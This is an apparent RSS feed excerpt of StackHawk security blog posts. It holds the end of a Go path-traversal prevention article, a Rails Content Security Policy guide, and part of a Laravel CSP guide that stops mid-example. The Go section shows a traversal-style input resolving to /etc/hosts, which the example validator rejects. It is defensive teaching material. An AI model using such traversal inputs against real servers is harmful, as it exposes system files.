Error Unsafe or invalid path specified&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Whoa! It turns out &lt;b&gt;/opt/myapplication/foo&lt;/b&gt; is soft linked to &lt;b&gt;/etc/hosts &lt;/b&gt;on my system. While my code wouldn’t be able to alter the hosts file, an attacker could do some snooping by retrieving the contents.&lt;/p&gt;&lt;h3&gt;Establish a Trusted Root&lt;/h3&gt;&lt;p&gt;Sanitizing input is an elementary and necessary step, as is running your apps with accounts that only have the privileges they need to get the job done. But there’s still more: limit you applications to a safe location.&lt;/p&gt;&lt;p&gt;Create a safe area on the file system and limit requests to store or retrieve files to that location. &lt;/p&gt;&lt;p&gt;Filepath’s &lt;a href=&quot;https://pkg.go.dev/path/filepath#SplitList&quot;&gt;&lt;u&gt;Dir&lt;/u&gt;&lt;/a&gt; makes it easy to recurse up a file spec toward the root and see if it’s sitting in or out of a safe location.&lt;/p&gt;&lt;p&gt;Here’s how we can use that:&lt;/p&gt;&lt;p&gt;&lt;code&gt;func inTrustedRoot(path string, trustedRoot string) error {&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;	for path != &amp;quot;/&amp;quot; {
		path = filepath.Dir(path)
		if path == trustedRoot {
			return nil
		}
	}
	return errors.New(&amp;quot;path is outside of trusted root&amp;quot;)
}&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;InTrustedRoot &lt;/b&gt;recurses up the file spec. If it sees &lt;b&gt;trustedRoot &lt;/b&gt;it stops and returns &lt;b&gt;nil &lt;/b&gt;(no error) for success. If it makes it to the top, we’re outside of the safe location and it returns an &lt;b&gt;error&lt;/b&gt;. &lt;/p&gt;&lt;p&gt;So, we can add another check to our new function. It evaluates the canonical path against our trusted root.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;We’re limiting the web application to storing and retrieving files from &lt;b&gt;“/var/www/files.” &lt;/b&gt;As the code comment says, we’d want to read the trusted root from configuration, instead of hardcoding it. We’d direct the error messages and other outputs to logs instead of the console, too.&lt;/p&gt;&lt;p&gt;So let’s check out a couple of locations.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Here’s the output:&lt;/p&gt;&lt;p&gt;&lt;code&gt;Cleaned path: /etc/hosts
Error path is outside of trusted root
Error Unsafe or invalid path specified
Cleaned path: /var/www/files/freds_files/mystuff.txt
Canonical: /var/www/files/freds_files/mystuff.txt&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;h3&gt;Separate Code from Documents&lt;/h3&gt;&lt;p&gt;Another way to protect yourself from Golang path traversal attacks is using different storage options for code and documents. For example, you could place the files on AWS S3 or Google Cloud Storage. While this might slow performance down, it adds an extra layer of access control between hackers and information. It reduces the impact of path traversal attacks since the files are stored offsite and away from sensitive OS resources.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;How to Prevent Golang Path Traversal Attacks Before Production&lt;/h2&gt;&lt;p&gt;It&amp;#39;d be more impressive to prevent attacks before they&amp;#39;ve evolved into active issues. The best line of thinking here would be to include checks during every commit. Never trust the end user too much to assume your use cases are all-encompassing of their intentions. To be realistic, such checks will only slow your CI/CD process down (albeit by a few seconds). Worse is if you handle checks manually or with a single test script, which is naive considering&lt;a href=&quot;https://cwe.mitre.org/data/definitions/23.html&quot;&gt; &lt;u&gt;how wide the attack angle is&lt;/u&gt;&lt;/a&gt; with path traversal attacks.&lt;/p&gt;&lt;p&gt;It, therefore, makes sense to include automation checks in your workflow as developers append new lines. This is where&lt;a href=&quot;https://www.stackhawk.com/product/&quot;&gt; &lt;u&gt;StackHawk&lt;/u&gt;&lt;/a&gt; comes in handy. Knowing what parts of your code need patching before it goes live will save you a lot of costs. Let alone the embarrassment of sensitive documents leaking to the public as was the case with&lt;a href=&quot;https://www.technologyreview.com/2010/12/09/120156/everything-you-need-to-know-about-wikileaks/&quot;&gt;&lt;u&gt; the WikiLeaks saga&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Taurai Mutimutema. &lt;/i&gt;&lt;a href=&quot;https://twitter.com/rusiqe&quot;&gt;&lt;u&gt;&lt;i&gt;Taurai &lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt;is a systems analyst with a knack for writing, which was probably sparked by the need to document technical processes during code and implementation sessions. He enjoys learning new technology and talks about tech even more than he writes.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Rails Content Security Policy Guide: What It Is and How to Enable It]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/rails-content-security-policy-guide-what-it-is-and-how-to-enable-it</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;The process of developing web applications demands a thorough understanding of the fundamentals of web security. Every year, security threats get more complex, and so to mitigate this, software companies are consolidating advanced and robust security solutions. Content Security Policy, or CSP, is one such measure.&lt;/p&gt;&lt;p&gt;This article aims to make the concept of content security more accessible by briefly defining what CSP is, demonstrating how to enable CSP in Rails, examining common errors you might encounter, and helping you address them.&lt;/p&gt;&lt;p&gt;If you happen to have no experience developing in Ruby on Rails or you&amp;#39;re just testing the waters, we highly recommend you take some time to explore&lt;a href=&quot;https://rubyonrails.org/&quot;&gt; &lt;u&gt;this&lt;/u&gt;&lt;/a&gt; article and get acquainted with it. We&amp;#39;ll address some features that might not be immediately clear unless you have some background in Rails.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Content Security Policy&lt;/b&gt;&lt;/h2&gt;&lt;blockquote&gt;&lt;p&gt;Content Security Policy is &lt;b&gt;a collection of policies or directions&lt;/b&gt; that your browser enforces on webpages when requested. &lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;While loading a page, the browser has to request and render content and code—a lot of it. This process is standard and usually harmless as pretty much all modern websites are complex in nature and comprised of lots of lines of HTML, CSS, JavaScript, and other resources like images and files that the code references. The referenced code could be from the same origin (requested domain) or another origin; browsers don&amp;#39;t distinguish. The browsers then have to process and execute these resources without any malicious code or access data not belonging to the website in question.&lt;/p&gt;&lt;p&gt;To ensure security, the server provides a CSP through the response header to guarantee that the browser executes only valid resources. This security layer helps mitigate attacks that take advantage of vulnerabilities like cross-site scripting (XSS) and injection attacks by providing an allowlist of trusted resources.&lt;/p&gt;&lt;p&gt;Let&amp;#39;s see what a Content Security Policy header would look like:&lt;/p&gt;&lt;p&gt;&lt;code&gt;Content-Security-Policy: default-src &amp;#39;self&amp;#39;; script-src &amp;#39;self&amp;#39;; style-src &amp;#39;self&amp;#39;; font-src &amp;#39;self&amp;#39;; img-src &amp;#39;self&amp;#39;; frame-src &amp;#39;self&amp;#39;;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Notice that each section in the header is relevant to a specific kind of source.&lt;/p&gt;&lt;p&gt;Additionally, the default &lt;b&gt;&amp;#39;self&amp;#39;&lt;/b&gt; directive states that only resources from the same origin must be executed. You can specify domains that you want to retrieve resources from by putting their URLs next to &lt;b&gt;&amp;#39;self&amp;#39;&lt;/b&gt;. Additionally, you can allow all domains by setting &lt;b&gt;&amp;#39;*&amp;#39;&lt;/b&gt; (but &lt;i&gt;don&amp;#39;t&lt;/i&gt; do this unless you &lt;i&gt;absolutely&lt;/i&gt; have to).&lt;/p&gt;&lt;h2&gt;How to Enable Rails Content Security Policy&lt;/h2&gt;&lt;p&gt;Now that we&amp;#39;re more familiar with Content Security Policy and know how it looks, let&amp;#39;s see it in our code.&lt;/p&gt;&lt;p&gt;To implement CSP in Rails, you first have to check which version of Rails you&amp;#39;re running. Rails 5.2 added CSP support, so you&amp;#39;re already implementing CSP in your application if you&amp;#39;re running on 5.2 or above. If you&amp;#39;re on 5.2 or above, your policies settings lie in the application config file like below.&lt;/p&gt;&lt;p&gt;&lt;code&gt;# config/initializers/content_security_policy.rb&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;Rails.application.config.content_security_policy do |policy|
  policy.default_src :self, :https
  policy.font_src :self, :https, :data
  policy.img_src :self, :https, :data
  policy.object_src :none
  policy.script_src :self, :https
  policy.style_src :self, :https, :unsafe_inline
  policy.report_uri &amp;quot;/csp-violation-report-endpoint&amp;quot;
end&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;If, however, you&amp;#39;re below 5.2, you can use the &lt;a href=&quot;https://github.com/twitter/secureheaders&quot;&gt;&lt;u&gt;SecureHeaders&lt;/u&gt;&lt;/a&gt; gem to add CSP to legacy applications. Then you can proceed to your initializer file containing the CSP directives (usually called &lt;b&gt;&amp;#39;csp.rb&amp;#39;&lt;/b&gt;) and add the code if it doesn&amp;#39;t already exist.&lt;/p&gt;&lt;p&gt;&lt;code&gt;# config/initializers/csp.rb&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;SecureHeaders::Configuration.default do |config|
  config.csp = {
    default_src: %w(https: &amp;#39;self&amp;#39;),
    font_src: %w(&amp;#39;self&amp;#39; data: https:),
    img_src: %w(&amp;#39;self&amp;#39; https: data:),
    object_src: %w(&amp;#39;none&amp;#39;),
    script_src: %w(https:),
    style_src: %w(&amp;#39;self&amp;#39; https: &amp;#39;unsafe-inline&amp;#39;)
  }
end&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Now you can check that all response headers contain the CSP configuration mentioned above if they didn&amp;#39;t before. The browser will enforce any changes, most likely breaking your page and displaying many alerts.&lt;/p&gt;&lt;p&gt;Proper Content Security Policies require a decent number of changes and testing. So, for now, let&amp;#39;s address the immediate errors while still having a functional site, and that&amp;#39;s where the &lt;b&gt;&amp;#39;Content-Security-Policy-Report-Only&amp;#39;&lt;/b&gt; alternative will be helpful.&lt;/p&gt;&lt;p&gt;&lt;code&gt;# config/initializers/content_security_policy.rb&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;Rails.application.config.content_security_policy_report_only = true&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Using &amp;quot;report only,&amp;quot; makes the browser no longer enforce the directives but continue to display the corresponding violation alerts. This behavior is helpful for development environments where the platform&amp;#39;s security is not essential, but the developer needs to be aware of any violations to address them adequately.&lt;/p&gt;&lt;h2&gt;Common CSP Errors&lt;/h2&gt;&lt;p&gt;Seeing all these alerts in the browser developer console can be scary, but don&amp;#39;t worry. Addressing them is very simple once you understand what your site is demanding. The report will be your guide to improve the policy directive and make the necessary updates.&lt;/p&gt;&lt;p&gt;Our first step should be to confirm that the resources the browser is reporting are, in fact, legitimate and necessary for the proper functioning of the application. For example, we can see that our application is requesting the following:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;https://code.jquery.com/jquery-3.5.1.min.js&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;https://cdnjs.cloudflare.com/ajax/libs/moment.js/2.29.1/moment.min.js&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;https://cdnjs.cloudflare.com/ajax/libs/moment-timezone/0.5.31/moment-timezone-with-data.js&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.bundle.min.js&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;https://cdn.jsdelivr.net/npm/axios/dist/axios.min.js&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.1/css/all.min.css&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.1/webfonts/fa-brands-400.woff2&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.1/webfonts/fa-brands-400.woff&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.1/webfonts/fa-brands-400.ttf&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.1/webfonts/fa-regular-400.woff2&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.1/webfonts/fa-regular-400.woff&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.1/webfonts/fa-regular-400.ttf&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.1/webfonts/fa-solid-900.woff2&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.1/webfonts/fa-solid-900.woff&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.1/webfonts/fa-solid-900.ttf&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;All these are valid resources that come from trusted origins.&lt;/p&gt;&lt;p&gt;Once you have the list of resources at hand, you can add them to the allowlist of each respective source as follows:&lt;/p&gt;&lt;p&gt;&lt;code&gt;# config/initializers/content_security_policy.rb&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;Rails.application.config.content_security_policy do |policy|
  policy.default_src :self, :https
  policy.font_src :self, %w(https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.1/webfonts/fa-brands-400.woff2 https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.1/webfonts/fa-brands-400.woff https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.1/webfonts/fa-brands-400.ttf https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.1/webfonts/fa-regular-400.woff2 https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.1/webfonts/fa-regular-400.woff https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.1/webfonts/fa-regular-400.ttf https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.1/webfonts/fa-solid-900.woff2 https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.1/webfonts/fa-solid-900.woff https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.1/webfonts/fa-solid-900.ttf)
  policy.img_src :self, :https, :data
  policy.object_src :none
  policy.script_src :self, %w(https://code.jquery.com/jquery-3.5.1.min.js https://cdnjs.cloudflare.com/ajax/libs/moment.js/2.29.1/moment.min.js https://cdnjs.cloudflare.com/ajax/libs/moment-timezone/0.5.31/moment-timezone-with-data.js https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.bundle.min.js https://cdn.jsdelivr.net/npm/axios/dist/axios.min.js)
  policy.style_src :self, %w(https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.1/css/all.min.css)
  policy.report_uri &amp;quot;/csp-violation-report-endpoint&amp;quot;
end&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;By doing this, most of the alerts go away.&lt;/p&gt;&lt;p&gt;Furthermore, if you want to enable all resources from a specific domain, you can do so by specifying the domain in the directive.&lt;/p&gt;&lt;p&gt;&lt;code&gt;# config/initializers/content_security_policy.rb&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;Rails.application.config.content_security_policy do |policy|
  policy.default_src :self, :https
  policy.font_src :self, %w(https://cdnjs.cloudflare.com)
  policy.img_src :self, :https, :data
  policy.object_src :none
  policy.script_src :self, %w(https://code.jquery.com https://cdnjs.cloudflare.com https://stackpath.bootstrapcdn.com https://cdn.jsdelivr.net)
  policy.style_src :self, %w(https://stackpath.bootstrapcdn.com https://cdnjs.cloudflare.com)
  policy.report_uri &amp;quot;/csp-violation-report-endpoint&amp;quot;
end&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;But what about the inline code in our HTML? Well, we have a few options to approach these violations.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Move all inline code and inline styles to a file. This way, you can ensure the security of your application and keep it consistent.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Move the code to a tag and get its hash key. This hash key is generated by hashing the code inside the tag with a SHA256 algorithm. Conveniently, this hash is calculated for you by the alert itself so that you can add it directly to the directive, telling the browser that the code in this tag is allowed.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Use a &lt;b&gt;&amp;#39;nonce&amp;#39;&lt;/b&gt; tag attribute and add it to the corresponding tag. This solution will essentially serve the same purpose but must be updated with each request with some server-side code.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Ensuring Content Security&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;The process of securing our applications can be a very complicated and long journey. It&amp;#39;s easy to end up lost in a rabbit hole of articles and forums. Nevertheless, we must address security issues and exploits as much as possible.&lt;/p&gt;&lt;p&gt;Rails is a manageable and friendly platform to build robust and flexible applications. It makes the work of securing against Content Security Policy exploits very straightforward. No need to tamper with complex configurations or scary settings.&lt;/p&gt;&lt;p&gt;If you want to learn more about securing other apps from threats, you can find articles here in our&lt;a href=&quot;https://www.stackhawk.com/blog/&quot;&gt; blog&lt;/a&gt;. So, for example, if you wish to make sure your NodeJS application is secure or you want to learn how to implement similar solutions in other technologies, you can find all you need here.&lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Juan Reyes. &lt;/i&gt;&lt;a href=&quot;https://www.ajourneyforwisdom.com/&quot;&gt;&lt;u&gt;&lt;i&gt;Juan&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt; is an engineer by profession and a dreamer by heart who crossed the seas to reach Japan following the promise of opportunity and challenge. While trying to find himself and build a meaningful life in the east, Juan borrows wisdom from his experiences as an entrepreneur, artist, hustler, father figure, husband, and friend to start writing about passion, meaning, self-development, leadership, relationships, and mental health. His many years of struggle and self-discovery have inspired him and drive to embark on a journey for wisdom.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Laravel Content Security Policy Guide: What It Is and How to Enable It]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/laravel-content-security-policy-guide-what-it-is-and-how-to-enable-it</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;The strength and versatility of modern browsers that enable powerful web applications can turn into a security nightmare. We previously covered security issues like&lt;a href=&quot;https://www.stackhawk.com/blog/laravel-xss/&quot;&gt;&lt;u&gt; cross-site-scripting (XSS)&lt;/u&gt;&lt;/a&gt;,&lt;a href=&quot;https://www.stackhawk.com/blog/sql-injection-prevention-laravel/&quot;&gt; &lt;u&gt;SQL injections&lt;/u&gt;&lt;/a&gt;, and&lt;a href=&quot;https://www.stackhawk.com/blog/laravel-path-traversal-guide-examples-and-prevention/&quot;&gt; &lt;u&gt;path traversals&lt;/u&gt;&lt;/a&gt;. The ability to run custom or third-party code leads to unwanted behavior and data leaks. Browsers have a same-origin policy that prevents the execution of some third-party content by default, and developers can use&lt;a href=&quot;https://www.stackhawk.com/blog/laravel-cors/&quot;&gt; &lt;u&gt;cross-origin resource sharing (CORS)&lt;/u&gt;&lt;/a&gt; to control this behavior. Today, we&amp;#39;ll look at a broader and more versatile tool to increase the security of web applications: the content security policy (CSP). We&amp;#39;ll first discuss CSPs in general and then see how we can add them to PHP applications that use the Laravel framework.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h2&gt;What Is CSP?&lt;/h2&gt;&lt;p&gt;A content security policy is a set of rules or directives that allow or deny the inclusion, display, and execution of specific types of content on a web page.&lt;/p&gt;&lt;p&gt;Websites send their CSPs as custom HTTP headers or using a &lt;b&gt;&amp;lt;meta&amp;gt;&lt;/b&gt; tag in the &lt;b&gt;&amp;lt;head&amp;gt;&lt;/b&gt; of the HTML page. While the &lt;b&gt;&amp;lt;meta&amp;gt;&lt;/b&gt; tag works, the HTTP header is the preferred solution because of the clear separation between content and metadata. The browser reads the policy, intercepts the content that the page tries to load, and blocks or reports it if it violates the specified rules.&lt;/p&gt;&lt;p&gt;Let&amp;#39;s look at an example. In its CSP, a website might indicate that all scripts must come from the same domain as the website. This ensures that maliciously injected code cannot load and execute third-party JavaScript. However, the same site may allow other content from remote hostnames because it wants to use Google Fonts via a content delivery network (CDN). It might also have a forum section where users can hotlink images on the web. A browser should load the website and let the fonts and pictures through but block unwanted scripts.&lt;/p&gt;&lt;h2&gt;Do You Need a CSP for Your Website?&lt;/h2&gt;&lt;p&gt;Here&amp;#39;s the first answer, but promise me you&amp;#39;ll continue reading afterward, okay? No, you don&amp;#39;t strictly and technically need a CSP. Your website will work fine without it. Unlike CORS, which extends default limitations in browsers, the default behavior for CSP rules is &amp;quot;allow all.&amp;quot; It has a historical background because most browser capabilities are much older than CSP and because legacy websites would break if browsers suddenly took them away.&lt;/p&gt;&lt;p&gt;However, if you know even a bit about IT security, you know that &amp;quot;allow all&amp;quot; is the worst possible policy. So as with many security policies, it can be a bit of a hassle to set them up, and you may feel you&amp;#39;re doing well without them, but in the long run, the effort pays off. With a CSP, your website will be at a much lower risk for injection-style attacks. So my second answer is yes, you should have a CSP.&lt;/p&gt;&lt;h2&gt;How Do I Add a CSP?&lt;/h2&gt;&lt;p&gt;There are two parts involved in improving your website with a content security policy. One part is designing the policy and deciding which rules you need. Those rules depend on the content that you already have or want to have on your website. The second is deploying the policy. For best results, you may need to modify other portions of your website code as well, but we&amp;#39;ll get to that in a bit.&lt;/p&gt;&lt;h3&gt;Specifying Directives&lt;/h3&gt;&lt;p&gt;It&amp;#39;s crucial to get the rules right. Let&amp;#39;s go back to the example above. The website decided to block all scripts. Now the developers want to allow users to sign in to the site with their Facebook accounts. They add the Facebook SDK to their code and wonder why it doesn&amp;#39;t work. The reason is that they blocked all third-party scripts, so the browser won&amp;#39;t load an SDK from Facebook&amp;#39;s domain. Of course, it&amp;#39;s not necessary to allow all remote hostnames. A CSP is flexible enough that developers can only allow &amp;#39;*.facebook.com&amp;#39; and &amp;#39;*.facebook.net&amp;#39; as valid origins and still block scripts from any other vendor.&lt;/p&gt;&lt;p&gt;By the way, this specific allowance is also beneficial when following privacy regulations like the GDPR because you can explicitly name all the &amp;quot;data processors&amp;quot; that may receive personal data from your users.&lt;/p&gt;&lt;h3&gt;Deploying The Policy&lt;/h3&gt;&lt;p&gt;A CSP is just an HTTP header. To be exact, it&amp;#39;s the &lt;b&gt;Content-Security-Policy&lt;/b&gt; header. There are various ways to deploy such a header. You could change your webserver configuration or (for Apache) add an &lt;b&gt;.htaccess&lt;/b&gt; file to rewrite the response automatically. If there&amp;#39;s a&lt;a href=&quot;https://en.wikipedia.org/wiki/Reverse_proxy&quot;&gt; &lt;u&gt;reverse proxy&lt;/u&gt;&lt;/a&gt; or CDN in front of your Laravel application, you can add the header there. Still, I recommend configuring your CSP in the Laravel application itself. One reason is because that keeps it near the code where you know the requirements best. You can change and extend your policy with additional rules whenever necessary, as I illustrated with the example above. It also works everywhere regardless of deployment, even on your development computer. That means you can test extensively to make sure nothing breaks.&lt;/p&gt;&lt;p&gt;There are two modes for adding a CSP. The standard &lt;b&gt;Content-Security-Policy&lt;/b&gt; header instructs the browser to block all content that violates the policy. The alternate &lt;b&gt;Content-Security-Policy-Report-Only&lt;/b&gt; header doesn&amp;#39;t block anything. Still, it shows warnings in the browser&amp;#39;s developer tools console that indicate what would be blocked if you armed the policy. For both modes, it&amp;#39;s also possible to send reports to a remote URL.&lt;/p&gt;&lt;h2&gt;What About My Inline Scripts and Styles?&lt;/h2&gt;&lt;p&gt;One caveat about deploying a content security policy is that its default behavior blocks all inline scripts and styles. While this is great for blocking unwanted third-party insertions, it also blocks desired code from running. If you have all your JavaScript and CSS code in individual files cleanly separated from your HTML code and Blade templates, you&amp;#39;re good to go. Many applications, however, have &lt;b&gt;&amp;lt;script&amp;gt;&lt;/b&gt; blocks with inline JavaScript code or &lt;b&gt;&amp;lt;style&amp;gt;&lt;/b&gt; blocks with specific CSS instructions inside their HTML code.&lt;/p&gt;&lt;p&gt;The easiest way to solve the problem is to allow inline styles and scripts. There&amp;#39;s a CSP rule for that. However, if your desired inline script tags can execute, so can the maliciously inserted script tags. What should you do then?&lt;/p&gt;&lt;p&gt;CSP has two solutions: hashes and nonces. For dynamic applications like Laravel projects, nonces are the way to go. I&amp;#39;ll show you how to add them soon.&lt;/p&gt;&lt;h2&gt;How Do I Add a CSP in Laravel?&lt;/h2&gt;&lt;p&gt;You could certainly add the header manually in your route controller implementations or write custom middleware, but you don&amp;#39;t have to.&lt;a href=&quot;https://packagist.org/packages/spatie/laravel-csp&quot;&gt; &lt;u&gt;An open-source library from Spatie (a Belgian company specializing in Laravel) helps set up CSP for Laravel applications&lt;/u&gt;&lt;/a&gt;. To install the library, enter the following commands in your console:&lt;/p&gt;&lt;p&gt;&lt;code&gt;composer require spatie/laravel-csp
php artisan vendor:publish --provider=&amp;quot;Spatie\Csp\CspServiceProvider&amp;quot; --tag=&amp;quot;config&amp;quot;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;With the Laravel CSP library, you don&amp;#39;t need to generate your policy as an arbitrary string with new syntax to learn. Instead, policies are PHP classes that extend the &lt;b&gt;Spatie\Csp\Policies\Policy&lt;/b&gt; class. The library also has a &amp;quot;Basic&amp;quot; policy with reasonable defaults, such as allowing all types of content when loaded from the same domain and supporting nonces for inline scripts. You can leverage it and create a custom policy by extending &lt;b&gt;Spatie\Csp\Policies\Basic&lt;/b&gt;. If you don&amp;#39;t need different directives, the &amp;quot;Basic&amp;quot; policy is active out of the box after installing the library. The only thing left for you to do is enable the CSP middleware.&lt;/p&gt;&lt;p&gt;As with all Laravel middleware, you can enable it globally by adding it to the &lt;b&gt;$middleware&lt;/b&gt; or &lt;b&gt;$middlewareGroups&lt;/b&gt; in the &lt;b&gt;App\Http\Kernel&lt;/b&gt; class for your application:&lt;/p&gt;&lt;p&gt;&lt;code&gt;protected $middlewareGroups = [
   &amp;#39;web&amp;#39; =&amp;gt; [
       ...
       \Spatie\Csp\AddCspHeaders::class,
   ],&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;The most sensible thing is probably adding it to the &amp;#39;web&amp;#39; group in &lt;b&gt;$middlewareGroups&lt;/b&gt;. You don&amp;#39;t need a CSP for the &amp;#39;api&amp;#39; group since an API client is not a browser and likely doesn&amp;#39;t understand the policy anyway. An alternate option for deploying the policy only on specific routes is adding them to the route definition:&lt;/p&gt;&lt;p&gt;&lt;code&gt;Route::get(&amp;#39;my-page&amp;#39;, &amp;#39;MyController&amp;#39;)-&amp;gt;middleware(Spatie\Csp\AddCspHeaders::class);&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Great, you have now CSP-enabled your application! You can test it by doing something forbidden, such as adding a third-party element to your HTML code. When you load the page, the browser should block the element.&lt;/p&gt;&lt;h2&gt;How Can I Add Custom Directives?&lt;/h2&gt;&lt;p&gt;Let&amp;#39;s go back to the example of the web application that needed Facebook integration. The &amp;quot;Basic&amp;quot; policy wouldn&amp;#39;t allow it, so let&amp;#39;s create a new file &lt;b&gt;app/ContentPolicy.php&lt;/b&gt; with the following content:&lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;?php&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;namespace App;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;use Spatie\Csp\Directive;
use Spatie\Csp\Policies\Basic;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;class ContentPolicy extends Basic
{
    public function configure()
    {
        parent::configure();
        
        $this-&amp;gt;addDirective(Directive::DEFAULT, &amp;#39;*.facebook.net&amp;#39;);
        $this-&amp;gt;addDirective(Directive::DEFAULT, &amp;#39;*.facebook.com&amp;#39;);
    }
}&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;As you can see in the example, we&amp;#39;re allowing &amp;#39;*.facebook.net&amp;#39; and &amp;#39;*.facebook.com&amp;#39;.
